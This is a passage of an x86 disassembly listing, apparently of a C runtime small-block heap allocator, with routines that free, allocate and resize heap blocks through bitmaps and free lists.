		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx

loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------

loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------

loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]

loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx

loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi

loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi

loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------

loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------

loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]

loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD

loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------

loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_48B674
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_48B66C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_48B66C
		mov	eax, dword_48B674
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_48B674
		mov	ecx, dword_48B66C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_48B674
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_48B674
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_48B674

loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_48B674
		push	dword ptr [eax+10h]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2700000h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_48B674
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_48B678
		cmp	eax, dword_48B674
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h

loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_48B67C
		mov	dword_48B670, eax

loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_48B66C, edi
		mov	dword_48B674, eax

loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------

loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_48B670
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154

loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B

loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx

loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------

loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax

loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2

loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------

loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]

loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx

loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------

loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax

loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB

loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2

loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------

loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_48B670, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230

loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D

loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216

loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]

loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------

loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi

loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]

loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------

loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]

loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------

loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]

loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_48B674
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_48B66C
		jnz	short loc_41B3D9
		and	dword_48B674, 0

loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_48B678
		mov	ecx, dword_48B668
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_48B67C
		push	edi
		push	dword_48B684
		nop
		call	near ptr 2830000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_48B668, 10h
		mov	dword_48B67C, eax
		mov	eax, dword_48B678

loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_48B67C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_48B684
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2710000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 286077Eh
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_48B684
		call	near ptr 2700000h
		nop

loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------

loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_48B678
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------

loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 286077Eh
		nop
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------

loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]

loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507

loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi

loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------

loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi

loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------

loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx

loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------

loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]

loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------

loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------

loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi

loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
